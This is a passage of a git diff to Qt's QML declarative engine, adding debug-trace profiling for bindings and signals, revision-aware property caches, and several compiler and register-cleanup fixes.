+    QDeclarativeBinding *rv = cdata ? new QDeclarativeBinding((void*)cdata->datas.at(id).constData(), cdata, obj, ctxtdata, url, lineNumber, parent) : 0;
+    if (typeData)
+        typeData->release();
+    return rv;
+}
+
 QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDeclarativeContext *ctxt, 
                                          QObject *parent)
 : QDeclarativeExpression(QDeclarativeContextData::get(ctxt), obj, str, *new QDeclarativeBindingPrivate)
@@ -248,6 +274,13 @@ QDeclarativeBinding::QDeclarativeBinding(const QString &str, QObject *obj, QDecl
     setNotifyOnValueChanged(true);
 }
 
+QDeclarativeBinding::QDeclarativeBinding(const QScriptValue &func, QObject *obj, QDeclarativeContextData *ctxt, QObject *parent)
+: QDeclarativeExpression(ctxt, obj, func, *new QDeclarativeBindingPrivate)
+{
+    setParent(parent);
+    setNotifyOnValueChanged(true);
+}
+
 QDeclarativeBinding::~QDeclarativeBinding()
 {
 }
@@ -266,6 +299,34 @@ QDeclarativeProperty QDeclarativeBinding::property() const
    return d->property; 
 }
 
+void QDeclarativeBinding::setEvaluateFlags(EvaluateFlags flags)
+{
+    Q_D(QDeclarativeBinding);
+    d->setEvaluateFlags(QDeclarativeQtScriptExpression::EvaluateFlags(static_cast<int>(flags)));
+}
+
+QDeclarativeBinding::EvaluateFlags QDeclarativeBinding::evaluateFlags() const
+{
+    Q_D(const QDeclarativeBinding);
+    return QDeclarativeBinding::EvaluateFlags(static_cast<int>(d->evaluateFlags()));
+}
+
+
+class QDeclarativeBindingProfiler {
+public:
+    QDeclarativeBindingProfiler(QDeclarativeBinding *bind)
+    {
+        QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding);
+        QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Binding, bind->expression());
+        QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Binding, bind->sourceFile(), bind->lineNumber());
+    }
+
+    ~QDeclarativeBindingProfiler()
+    {
+        QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding);
+    }
+};
+
 void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags)
 {
     Q_D(QDeclarativeBinding);
@@ -274,6 +335,7 @@ void QDeclarativeBinding::update(QDeclarativePropertyPrivate::WriteFlags flags)
         return;
 
     if (!d->updating) {
+        QDeclarativeBindingProfiler prof(this);
         d->updating = true;
         bool wasDeleted = false;
         d->deleted = &wasDeleted;
diff --git a/src/declarative/qml/qdeclarativebinding_p.h b/src/declarative/qml/qdeclarativebinding_p.h
index 56a5d77..0260b95 100644
--- a/src/declarative/qml/qdeclarativebinding_p.h
+++ b/src/declarative/qml/qdeclarativebinding_p.h
@@ -147,14 +147,21 @@ class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeBinding : public QDeclarativeExpr
 {
 Q_OBJECT
 public:
+    enum EvaluateFlag { RequiresThisObject = 0x01 };
+    Q_DECLARE_FLAGS(EvaluateFlags, EvaluateFlag)
+
     QDeclarativeBinding(const QString &, QObject *, QDeclarativeContext *, QObject *parent=0);
     QDeclarativeBinding(const QString &, QObject *, QDeclarativeContextData *, QObject *parent=0);
     QDeclarativeBinding(void *, QDeclarativeRefCount *, QObject *, QDeclarativeContextData *, 
                         const QString &, int, QObject *parent);
+    QDeclarativeBinding(const QScriptValue &, QObject *, QDeclarativeContextData *, QObject *parent=0);
 
     void setTarget(const QDeclarativeProperty &);
     QDeclarativeProperty property() const;
 
+    void setEvaluateFlags(EvaluateFlags flags);
+    EvaluateFlags evaluateFlags() const;
+
     bool enabled() const;
 
     // Inherited from  QDeclarativeAbstractBinding
@@ -162,6 +169,10 @@ public:
     virtual void update(QDeclarativePropertyPrivate::WriteFlags flags);
     virtual QString expression() const;
 
+    typedef int Identifier;
+    static Identifier Invalid;
+    static QDeclarativeBinding *createBinding(Identifier, QObject *, QDeclarativeContext *, const QString &, int, QObject *parent=0);
+
 public Q_SLOTS:
     void update() { update(QDeclarativePropertyPrivate::DontRemoveBinding); }
 
@@ -173,6 +184,8 @@ private:
     Q_DECLARE_PRIVATE(QDeclarativeBinding)
 };
 
+Q_DECLARE_OPERATORS_FOR_FLAGS(QDeclarativeBinding::EvaluateFlags)
+
 QT_END_NAMESPACE
 
 Q_DECLARE_METATYPE(QDeclarativeBinding*)
diff --git a/src/declarative/qml/qdeclarativeboundsignal.cpp b/src/declarative/qml/qdeclarativeboundsignal.cpp
index d039c68..28dfea9 100644
--- a/src/declarative/qml/qdeclarativeboundsignal.cpp
+++ b/src/declarative/qml/qdeclarativeboundsignal.cpp
@@ -49,7 +49,9 @@
 #include "qdeclarative.h"
 #include "qdeclarativecontext.h"
 #include "private/qdeclarativeglobal_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
 
+#include <QtCore/qstringbuilder.h>
 #include <QtCore/qdebug.h>
 
 QT_BEGIN_NAMESPACE
@@ -165,6 +167,13 @@ QDeclarativeBoundSignal *QDeclarativeBoundSignal::cast(QObject *o)
 int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a)
 {
     if (c == QMetaObject::InvokeMetaMethod && id == evaluateIdx) {
+        if (!m_expression)
+            return -1;
+        if (QDeclarativeDebugService::isDebuggingEnabled()) {
+            QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::HandlingSignal);
+            QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::HandlingSignal, QLatin1String(m_signal.signature()) % QLatin1String(": ") % m_expression->expression());
+            QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::HandlingSignal, m_expression->sourceFile(), m_expression->lineNumber());
+        }
         m_isEvaluating = true;
         if (!m_paramsValid) {
             if (!m_signal.parameterTypes().isEmpty())
@@ -180,6 +189,7 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a)
         }
         if (m_params) m_params->clearValues();
         m_isEvaluating = false;
+        QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::HandlingSignal);
         return -1;
     } else {
         return QObject::qt_metacall(c, id, a);
@@ -187,13 +197,12 @@ int QDeclarativeBoundSignal::qt_metacall(QMetaObject::Call c, int id, void **a)
 }
 
 QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMetaMethod &method, 
-                                                   QObject *parent)
+                                                                     QObject *parent)
 : QObject(parent), types(0), values(0)
 {
     MetaObject *mo = new MetaObject(this);
 
     // ### Optimize!
-    // ### Ensure only supported types are allowed, otherwise it might crash
     QMetaObjectBuilder mob;
     mob.setSuperClass(&QDeclarativeBoundSignalParameters::staticMetaObject);
     mob.setClassName("QDeclarativeBoundSignalParameters");
@@ -216,9 +225,15 @@ QDeclarativeBoundSignalParameters::QDeclarativeBoundSignalParameters(const QMeta
             QMetaPropertyBuilder prop = mob.addProperty(name, "QObject*");
             prop.setWritable(false);
         } else {
-            types[ii] = t;
-            QMetaPropertyBuilder prop = mob.addProperty(name, type);
-            prop.setWritable(false);
+            if (QDeclarativeMetaType::canCopy(t)) {
+                types[ii] = t;
+                QMetaPropertyBuilder prop = mob.addProperty(name, type);
+                prop.setWritable(false);
+            } else {
+                types[ii] = 0x80000000 | t;
+                QMetaPropertyBuilder prop = mob.addProperty(name, "QVariant");
+                prop.setWritable(false);
+            }
         }
     }
     myMetaObject = mob.toMetaObject();
@@ -249,7 +264,11 @@ int QDeclarativeBoundSignalParameters::metaCall(QMetaObject::Call c, int id, voi
         return -1;
 
     if (c == QMetaObject::ReadProperty && id >= 1) {
-        QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]);
+        if (types[id - 1] & 0x80000000) {
+            *((QVariant *)a[0]) = QVariant(types[id - 1] & 0x7FFFFFFF, values[id]);
+        } else {
+            QDeclarativeMetaType::copy(types[id - 1], a[0], values[id]);
+        }
         return -1;
     } else {
         return qt_metacall(c, id, a);
diff --git a/src/declarative/qml/qdeclarativecompiledbindings.cpp b/src/declarative/qml/qdeclarativecompiledbindings.cpp
index 9db24de..a6fcce4 100644
--- a/src/declarative/qml/qdeclarativecompiledbindings.cpp
+++ b/src/declarative/qml/qdeclarativecompiledbindings.cpp
@@ -40,6 +40,7 @@
 ****************************************************************************/
 
 // #define COMPILEDBINDINGS_DEBUG
+// #define REGISTER_CLEANUP_DEBUG
 
 #include "private/qdeclarativecompiledbindings_p.h"
 
@@ -54,6 +55,7 @@
 #include <private/qdeclarativeanchors_p_p.h>
 #include <private/qdeclarativeglobal_p.h>
 #include <private/qdeclarativefastproperties_p.h>
+#include <private/qdeclarativedebugtrace_p.h>
 
 QT_BEGIN_NAMESPACE
 
@@ -170,6 +172,24 @@ struct Register {
 
     int type;          // Optional type
     void *data[2];     // Object stored here
+
+#ifdef REGISTER_CLEANUP_DEBUG
+    Register() {
+        type = 0;
+    }
+
+    ~Register() {
+        int allowedTypes[] = { QMetaType::QObjectStar, QMetaType::QReal, QMetaType::Int, QMetaType::Bool, 0 };
+        bool found = (type == 0);
+        int *ctype = allowedTypes;
+        while (!found && *ctype) {
+            found = (*ctype == type);
+            ++ctype;
+        }
+        if (!found)
+            qWarning("Register leaked of type %d", type);
+    }
+#endif
 };
 }
 
@@ -302,7 +322,9 @@ void QDeclarativeCompiledBindingsPrivate::Binding::setEnabled(bool e, QDeclarati
 
 void QDeclarativeCompiledBindingsPrivate::Binding::update(QDeclarativePropertyPrivate::WriteFlags flags)
 {
+    QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Binding);
     parent->run(this, flags);
+    QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Binding);
 }
 
 void QDeclarativeCompiledBindingsPrivate::Binding::destroy()
@@ -1409,10 +1431,16 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex,
 
     QML_BEGIN_INSTR(CleanupString)
         registers[instr->cleanup.reg].getstringptr()->~QString();
+#ifdef REGISTER_CLEANUP_DEBUG
+        registers[instr->cleanup.reg].setUndefined();
+#endif
     QML_END_INSTR(CleanupString)
 
     QML_BEGIN_INSTR(CleanupUrl)
         registers[instr->cleanup.reg].geturlptr()->~QUrl();
+#ifdef REGISTER_CLEANUP_DEBUG
+        registers[instr->cleanup.reg].setUndefined();
+#endif
     QML_END_INSTR(CleanupUrl)
 
     QML_BEGIN_INSTR(Fetch)
@@ -1530,10 +1558,19 @@ void QDeclarativeCompiledBindingsPrivate::run(int instrIndex,
         int type = registers[instr->cleanup.reg].gettype();
         if (type == qMetaTypeId<QVariant>()) {
             registers[instr->cleanup.reg].getvariantptr()->~QVariant();
+#ifdef REGISTER_CLEANUP_DEBUG
+        registers[instr->cleanup.reg].setUndefined();
+#endif
         } else if (type == QMetaType::QString) {
             registers[instr->cleanup.reg].getstringptr()->~QString();
+#ifdef REGISTER_CLEANUP_DEBUG
+        registers[instr->cleanup.reg].setUndefined();
+#endif
         } else if (type == QMetaType::QUrl) {
             registers[instr->cleanup.reg].geturlptr()->~QUrl();
+#ifdef REGISTER_CLEANUP_DEBUG
+        registers[instr->cleanup.reg].setUndefined();
+#endif
         }
     }
     QML_END_INSTR(CleanupGeneric)
@@ -1746,7 +1783,6 @@ bool QDeclarativeBindingCompilerPrivate::compile(QDeclarativeJS::AST::Node *node
         done.common.type = Instr::Done;
         bytecode << done;
 
-        return true;
     } else {
         // Can we store the final value?
         if (type.type == QVariant::Int &&
@@ -1788,12 +1824,12 @@ bool QDeclarativeBindingCompilerPrivate::compile(QDeclarativeJS::AST::Node *node
             Instr done;
             done.common.type = Instr::Done;
             bytecode << done;
-
-            return true;
         } else {
             return false;
         }
     }
+
+    return true;
 }
 
 bool QDeclarativeBindingCompilerPrivate::parseExpression(QDeclarativeJS::AST::Node *node, Result &type)
@@ -2233,6 +2269,8 @@ bool QDeclarativeBindingCompilerPrivate::stringArith(Result &type, const Result
 
     if (lhsTmp != -1) releaseReg(lhsTmp);
     if (rhsTmp != -1) releaseReg(rhsTmp);
+    releaseReg(lhs.reg);
+    releaseReg(rhs.reg);
 
     return true;
 }
@@ -2524,6 +2562,10 @@ bool QDeclarativeBindingCompilerPrivate::fetch(Result &rv, const QMetaObject *mo
     rv.metaObject = 0;
     rv.type = 0;
 
+    //XXX binding optimizer doesn't handle properties with a revision
+    if (prop.revision() > 0)
+        return false;
+
     int fastFetchIndex = fastProperties()->accessorIndexForProperty(mo, idx);
 
     Instr fetch;
diff --git a/src/declarative/qml/qdeclarativecompileddata.cpp b/src/declarative/qml/qdeclarativecompileddata.cpp
index 70cace4..03deea1 100644
--- a/src/declarative/qml/qdeclarativecompileddata.cpp
+++ b/src/declarative/qml/qdeclarativecompileddata.cpp
@@ -171,6 +171,8 @@ QDeclarativeCompiledData::~QDeclarativeCompiledData()
     for (int ii = 0; ii < types.count(); ++ii) {
         if (types.at(ii).component)
             types.at(ii).component->release();
+        if (types.at(ii).typePropertyCache)
+            types.at(ii).typePropertyCache->release();
     }
 
     for (int ii = 0; ii < propertyCaches.count(); ++ii) 
@@ -209,6 +211,34 @@ const QMetaObject *QDeclarativeCompiledData::TypeReference::metaObject() const
     }
 }
 
+/*!
+Returns the property cache, if one alread exists.  The cache is not referenced.
+*/
+QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::propertyCache() const
+{
+    if (type)
+        return typePropertyCache;
+    else
+        return component->rootPropertyCache;
+}
+
+/*!
+Returns the property cache, creating one if it doesn't already exist.  The cache is not referenced.
+*/
+QDeclarativePropertyCache *QDeclarativeCompiledData::TypeReference::createPropertyCache(QDeclarativeEngine *engine) 
+{
+    if (typePropertyCache) {
+        return typePropertyCache;
+    } else if (type) {
+        typePropertyCache = QDeclarativeEnginePrivate::get(engine)->cache(type->metaObject());
+        typePropertyCache->addref();
+        return typePropertyCache;
+    } else {
+        return component->rootPropertyCache;
+    }
+}
+
+
 void QDeclarativeCompiledData::dumpInstructions()
 {
     if (!name.isEmpty())
diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp
index 5c73f76..0554897 100644
--- a/src/declarative/qml/qdeclarativecompiler.cpp
+++ b/src/declarative/qml/qdeclarativecompiler.cpp
@@ -589,6 +589,18 @@ bool QDeclarativeCompiler::compile(QDeclarativeEngine *engine,
                     err = tr( "Element is not creatable.");
                 COMPILE_EXCEPTION(parserRef->refObjects.first(), err);
             }
+            
+            if (ref.type->containsRevisionedAttributes()) {
+                QDeclarativeError cacheError;
+                ref.typePropertyCache = 
+                    QDeclarativeEnginePrivate::get(engine)->cache(ref.type, resolvedTypes.at(ii).minorVersion, cacheError);
+
+                if (!ref.typePropertyCache) {
+                    COMPILE_EXCEPTION(parserRef->refObjects.first(), cacheError.description());
+                }
+                ref.typePropertyCache->addref();
+            }
+
         } else if (tref.typeData) {
             ref.component = tref.typeData->compiledData();
         }
@@ -886,8 +898,7 @@ bool QDeclarativeCompiler::buildObject(Object *obj, const BindingContext &ctxt)
 
 void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
 {
-    const QDeclarativeCompiledData::TypeReference &tr =
-        output->types.at(obj->type);
+    QDeclarativeCompiledData::TypeReference &tr = output->types[obj->type];
     if (tr.type && obj->metatype == &QDeclarativeComponent::staticMetaObject) {
         genComponent(obj);
         return;
@@ -902,6 +913,7 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
         create.line = obj->location.start.line;
         create.createSimple.create = output->types.at(obj->type).type->createFunction();
         create.createSimple.typeSize = output->types.at(obj->type).type->createSize();
+        create.createSimple.type = obj->type;
         create.createSimple.column = obj->location.start.column;
         output->bytecode << create;
 
@@ -935,16 +947,10 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
         meta.storeMeta.data = output->indexForByteArray(obj->metadata);
         meta.storeMeta.aliasData = output->indexForByteArray(obj->synthdata);
         meta.storeMeta.propertyCache = output->propertyCaches.count();
-        // ### Surely the creation of this property cache could be more efficient
-        QDeclarativePropertyCache *propertyCache = 0;
-        if (tr.component)
-            propertyCache = tr.component->rootPropertyCache->copy();
-        else
-            propertyCache = enginePrivate->cache(obj->metaObject()->superClass())->copy();
 
-        propertyCache->append(engine, obj->metaObject(), QDeclarativePropertyCache::Data::NoFlags,
-                              QDeclarativePropertyCache::Data::IsVMEFunction, 
-                              QDeclarativePropertyCache::Data::IsVMESignal);
+        QDeclarativePropertyCache *propertyCache = obj->synthCache;
+        Q_ASSERT(propertyCache);
+        propertyCache->addref();
 
         // Add flag for alias properties
         if (!obj->synthdata.isEmpty()) {
@@ -964,11 +970,7 @@ void QDeclarativeCompiler::genObject(QDeclarativeParser::Object *obj)
         output->propertyCaches << propertyCache;
         output->bytecode << meta;
     } else if (obj == unitRoot) {
-        if (tr.component)
-            output->rootPropertyCache = tr.component->rootPropertyCache;
-        else
-            output->rootPropertyCache = enginePrivate->cache(obj->metaObject());
-
+        output->rootPropertyCache = tr.createPropertyCache(engine);
         output->rootPropertyCache->addref();
     }
 
@@ -1103,15 +1105,7 @@ void QDeclarativeCompiler::genObjectBody(QDeclarativeParser::Object *obj)
             meta.line = 0;
             meta.storeMeta.data = output->indexForByteArray(prop->value->metadata);
             meta.storeMeta.aliasData = output->indexForByteArray(prop->value->synthdata);
-            meta.storeMeta.propertyCache = output->propertyCaches.count();
-            // ### Surely the creation of this property cache could be more efficient
-            QDeclarativePropertyCache *propertyCache =
-                enginePrivate->cache(prop->value->metaObject()->superClass())->copy();
-            propertyCache->append(engine, prop->value->metaObject(), QDeclarativePropertyCache::Data::NoFlags,
-                                  QDeclarativePropertyCache::Data::IsVMEFunction,
-                                  QDeclarativePropertyCache::Data::IsVMESignal);
-
-            output->propertyCaches << propertyCache;
+            meta.storeMeta.propertyCache = -1;
             output->bytecode << meta;
         }
 
@@ -1351,10 +1345,22 @@ bool QDeclarativeCompiler::buildSignal(QDeclarativeParser::Property *prop, QDecl
     if(name[0] >= 'A' && name[0] <= 'Z')
         name[0] = name[0] - 'A' + 'a';
 
-    int sigIdx = QDeclarativePropertyPrivate::findSignalByName(obj->metaObject(), name).methodIndex();
+    bool notInRevision = false;
+    int sigIdx = indexOfSignal(obj, name, &notInRevision);
 
     if (sigIdx == -1) {
 
+        if (notInRevision && -1 == indexOfProperty(obj, prop->name, 0)) {
+            Q_ASSERT(obj->type != -1);
+            const QList<QDeclarativeTypeData::TypeReference>  &resolvedTypes = unit->resolvedTypes();
+            const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
+            if (type.type) {
+                COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
+            } else {
+                COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)));
+            }
+        }
+
         // If the "on<Signal>" name doesn't resolve into a signal, try it as a
         // property.
         COMPILE_CHECK(buildProperty(prop, obj, ctxt));
@@ -1403,7 +1409,7 @@ bool QDeclarativeCompiler::doesPropertyExist(QDeclarativeParser::Property *prop,
             QMetaProperty p = QDeclarativeMetaType::defaultProperty(mo);
             return p.name() != 0;
         } else {
-            int idx = mo->indexOfProperty(prop->name.constData());
+            int idx = indexOfProperty(obj, prop->name);
             return idx != -1 && mo->property(idx).isScriptable();
         }
     }
@@ -1464,7 +1470,17 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop,
             }
 
         } else {
-            prop->index = metaObject->indexOfProperty(prop->name.constData());
+            bool notInRevision = false;
+            prop->index = indexOfProperty(obj, prop->name, &notInRevision);
+            if (prop->index == -1 && notInRevision) {
+                const QList<QDeclarativeTypeData::TypeReference>  &resolvedTypes = unit->resolvedTypes();
+                const QDeclarativeTypeData::TypeReference &type = resolvedTypes.at(obj->type);
+                if (type.type) {
+                    COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available in %3 %4.%5.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)).arg(QString::fromUtf8(type.type->module())).arg(type.majorVersion).arg(type.minorVersion));
+                } else {
+                    COMPILE_EXCEPTION(prop, tr("\"%1.%2\" is not available due to component versioning.").arg(QString::fromUtf8(obj->className)).arg(QString::fromUtf8(prop->name)));
+                }
+            }
 
             if (prop->index != -1) {
                 p = metaObject->property(prop->index);
@@ -1479,9 +1495,8 @@ bool QDeclarativeCompiler::buildProperty(QDeclarativeParser::Property *prop,
 
         // We can't error here as the "id" property does not require a
         // successful index resolution
-        if (p.name()) {
+        if (p.name()) 
             prop->type = p.userType();
-        }
 
         // Check if this is an alias
         if (prop->index != -1 && 
@@ -1894,14 +1909,22 @@ bool QDeclarativeCompiler::buildValueTypeProperty(QObject *type,
                 COMPILE_EXCEPTION(prop, tr("Unexpected object assignment"));
             } else if (value->value.isScript()) {
                 // ### Check for writability
-                BindingReference reference;
-                reference.expression = value->value;
-                reference.property = prop;
-                reference.value = value;
-                reference.bindingContext = ctxt;
-                reference.bindingContext.owner++;
-                addBindingReference(reference);
-                value->type = Value::PropertyBinding;
+
+                //optimization for <Type>.<EnumValue> enum assignments
+                bool isEnumAssignment = false;
+                COMPILE_CHECK(testQualifiedEnumAssignment(p, obj, value, &isEnumAssignment));
+                if (isEnumAssignment) {
+                    value->type = Value::Literal;
+                } else {
+                    BindingReference reference;
+                    reference.expression = value->value;
+                    reference.property = prop;
+                    reference.value = value;
+                    reference.bindingContext = ctxt;
+                    reference.bindingContext.owner++;
+                    addBindingReference(reference);
+                    value->type = Value::PropertyBinding;
+                }
             } else  {
                 COMPILE_CHECK(testLiteralAssignment(p, value));
                 value->type = Value::Literal;
@@ -2196,7 +2219,15 @@ bool QDeclarativeCompiler::testQualifiedEnumAssignment(const QMetaProperty &prop
     QDeclarativeType *type = 0;
     unit->imports().resolveType(typeName.toUtf8(), &type, 0, 0, 0, 0);
 
-    if (!type || obj->typeName != type->qmlTypeName())
+    //handle enums on value types (where obj->typeName is empty)
+    QByteArray objTypeName = obj->typeName;
+    if (objTypeName.isEmpty()) {
+        QDeclarativeType *objType = toQmlType(obj);
+        if (objType)
+            objTypeName = objType->qmlTypeName();
+    }
+
+    if (!type || objTypeName != type->qmlTypeName())
         return true;
 
     QString enumValue = parts.at(1);
@@ -2246,6 +2277,35 @@ const QMetaObject *QDeclarativeCompiler::resolveType(const QByteArray& name) con
     return qmltype->metaObject();
 }
 
+// similar to logic of completeComponentBuild, but also sticks data
+// into datas at the end
+int QDeclarativeCompiler::rewriteBinding(const QString& expression, const QByteArray& name)
+{
+    QDeclarativeRewrite::RewriteBinding rewriteBinding;
+    rewriteBinding.setName('$' + name.mid(name.lastIndexOf('.') + 1));
+    bool isSharable = false;
+    QString rewrite = rewriteBinding(expression, 0, &isSharable);
+
+    quint32 length = rewrite.length();
+    quint32 pc;
+
+    if (isSharable) {
+        pc = output->cachedClosures.count();
+        pc |= 0x80000000;
+        output->cachedClosures.append(0);
+    } else {
+        pc = output->cachedPrograms.length();
+        output->cachedPrograms.append(0);
+    }
+
+    QByteArray compiledData =
+        QByteArray((const char *)&pc, sizeof(quint32)) +
+        QByteArray((const char *)&length, sizeof(quint32)) +
+        QByteArray((const char *)rewrite.constData(),
+                   rewrite.length() * sizeof(QChar));
+
+    return output->indexForByteArray(compiledData);
+}
 
 // Ensures that the dynamic meta specification on obj is valid
 bool QDeclarativeCompiler::checkDynamicMeta(QDeclarativeParser::Object *obj)
@@ -2370,8 +2430,7 @@ bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, Dyn
     for (int ii = 0; ii < obj->dynamicProperties.count(); ++ii) {
         const Object::DynamicProperty &p = obj->dynamicProperties.at(ii);
 
-        int propIdx =
-            obj->metaObject()->indexOfProperty(p.name.constData());
+        int propIdx = obj->metaObject()->indexOfProperty(p.name.constData());
         if (-1 != propIdx) {
             QMetaProperty prop = obj->metaObject()->property(propIdx);
             if (prop.isFinal())
@@ -2556,6 +2615,19 @@ bool QDeclarativeCompiler::buildDynamicMeta(QDeclarativeParser::Object *obj, Dyn
 
     obj->synthdata = dynamicData;
 
+    if (obj->synthCache) {
+        obj->synthCache->release();
+        obj->synthCache = 0;
+    }
+
+    if (obj->type != -1) {
+        QDeclarativePropertyCache *cache = output->types[obj->type].createPropertyCache(engine)->copy();
+        cache->append(engine, &obj->extObject, QDeclarativePropertyCache::Data::NoFlags,
+                      QDeclarativePropertyCache::Data::IsVMEFunction, 
+                      QDeclarativePropertyCache::Data::IsVMESignal);
+        obj->synthCache = cache;
+    }
+
     return true;
 }
 
@@ -2605,9 +2677,9 @@ static QStringList astNodeToStringList(QDeclarativeJS::AST::Node *node)
 }
 
 bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
-                               QByteArray &data,
-                               Object *obj,
-                               const Object::DynamicProperty &prop)
+                                        QByteArray &data,
+                                        Object *obj,
+                                        const Object::DynamicProperty &prop)
 {
     if (!prop.defaultValue)
         COMPILE_EXCEPTION(obj, tr("No property alias location"));
@@ -2637,7 +2709,7 @@ bool QDeclarativeCompiler::compileAlias(QMetaObjectBuilder &builder,
     int flags = 0;
     bool writable = false;
     if (alias.count() == 2 || alias.count() == 3) {
-        propIdx = idObject->metaObject()->indexOfProperty(alias.at(1).toUtf8().constData());
+        propIdx = indexOfProperty(idObject, alias.at(1).toUtf8());
 
         if (-1 == propIdx) {
             COMPILE_EXCEPTION(prop.defaultValue, tr("Invalid alias location"));
@@ -2849,13 +2921,10 @@ bool QDeclarativeCompiler::completeComponentBuild()
         // Pre-rewrite the expression
         QString expression = binding.expression.asScript();
 
-        // ### Optimize
-        QDeclarativeRewrite::SharedBindingTester sharableTest;
-        bool isSharable = sharableTest.isSharable(expression);
-        
         QDeclarativeRewrite::RewriteBinding rewriteBinding;
         rewriteBinding.setName('$'+binding.property->name);
-        expression = rewriteBinding(expression);
+        bool isSharable = false;
+        expression = rewriteBinding(binding.expression.asAST(), expression, &isSharable);
 
         quint32 length = expression.length();
         quint32 pc; 
@@ -2981,4 +3050,74 @@ QStringList QDeclarativeCompiler::deferredProperties(QDeclarativeParser::Object
     return rv;
 }
 
+// This code must match the semantics of QDeclarativePropertyPrivate::findSignalByName
+int QDeclarativeCompiler::indexOfSignal(QDeclarativeParser::Object *object, const QByteArray &name, 
+                                        bool *notInRevision)
+{
+    if (notInRevision) *notInRevision = false;
+
+    if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
+        // XXX fromUtf8
+        QString strName(QString::fromUtf8(name));
+        QDeclarativePropertyCache *cache = 
+            object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
+
+        QDeclarativePropertyCache::Data *d = cache->property(strName);
+        if (notInRevision) *notInRevision = false;
+
+        while (d && !(d->flags & QDeclarativePropertyCache::Data::IsFunction))
+            d = cache->overrideData(d);
+
+        if (d && !cache->isAllowedInRevision(d)) {
+            if (notInRevision) *notInRevision = true;
+            return -1;
+        } else if (d) {
+            return d->coreIndex;
+        }
+
+        if (name.endsWith("Changed")) {
+            QByteArray propName = name.mid(0, name.length() - 7);
+
+            int propIndex = indexOfProperty(object, propName, notInRevision);
+            if (propIndex != -1) {
+                d = cache->property(propIndex);
+                return d->notifyIndex;
+            }
+        }
+
+        return -1;
+    } else {
+        return QDeclarativePropertyPrivate::findSignalByName(object->metaObject(), name).methodIndex();
+    }
+
+}
+
+int QDeclarativeCompiler::indexOfProperty(QDeclarativeParser::Object *object, const QByteArray &name, 
+                                          bool *notInRevision)
+{
+    if (notInRevision) *notInRevision = false;
+
+    if (object->synthCache || (object->type != -1 && output->types.at(object->type).propertyCache())) {
+        // XXX fromUtf8
+        QString strName(QString::fromUtf8(name));
+        QDeclarativePropertyCache *cache = 
+            object->synthCache?object->synthCache:output->types.at(object->type).propertyCache();
+
+        QDeclarativePropertyCache::Data *d = cache->property(strName);
+        // Find the first property
+        while (d && d->flags & QDeclarativePropertyCache::Data::IsFunction) 
+            d = cache->overrideData(d);
+
+        if (d && !cache->isAllowedInRevision(d)) {
+            if (notInRevision) *notInRevision = true;
+            return -1;
+        } else {
+            return d?d->coreIndex:-1;
+        }
+    } else {
+        const QMetaObject *mo = object->metaObject();
+        return mo->indexOfProperty(name.constData());
+    }
+}
+
 QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecompiler_p.h b/src/declarative/qml/qdeclarativecompiler_p.h
index 984db81..93b6a09 100644
--- a/src/declarative/qml/qdeclarativecompiler_p.h
+++ b/src/declarative/qml/qdeclarativecompiler_p.h
@@ -89,14 +89,17 @@ public:
     struct TypeReference 
     {
         TypeReference()
-        : type(0), component(0) {}
+        : type(0), typePropertyCache(0), component(0) {}
 
         QByteArray className;
         QDeclarativeType *type;
+        QDeclarativePropertyCache *typePropertyCache;
         QDeclarativeCompiledData *component;
 
         QObject *createInstance(QDeclarativeContextData *, const QBitField &, QList<QDeclarativeError> *) const;
         const QMetaObject *metaObject() const;
+        QDeclarativePropertyCache *propertyCache() const;
+        QDeclarativePropertyCache *createPropertyCache(QDeclarativeEngine *);
     };
     QList<TypeReference> types;
     struct CustomTypeData
@@ -161,6 +164,7 @@ public:
 
     int evaluateEnum(const QByteArray& script) const; // for QDeclarativeCustomParser::evaluateEnum
     const QMetaObject *resolveType(const QByteArray& name) const; // for QDeclarativeCustomParser::resolveType
+    int rewriteBinding(const QString& expression, const QByteArray& name); // for QDeclarativeCustomParser::rewriteBinding
 
 private:
     static void reset(QDeclarativeCompiledData *);
@@ -276,6 +280,8 @@ private:
     bool canCoerce(int to, QDeclarativeParser::Object *from);
 
     QStringList deferredProperties(QDeclarativeParser::Object *);
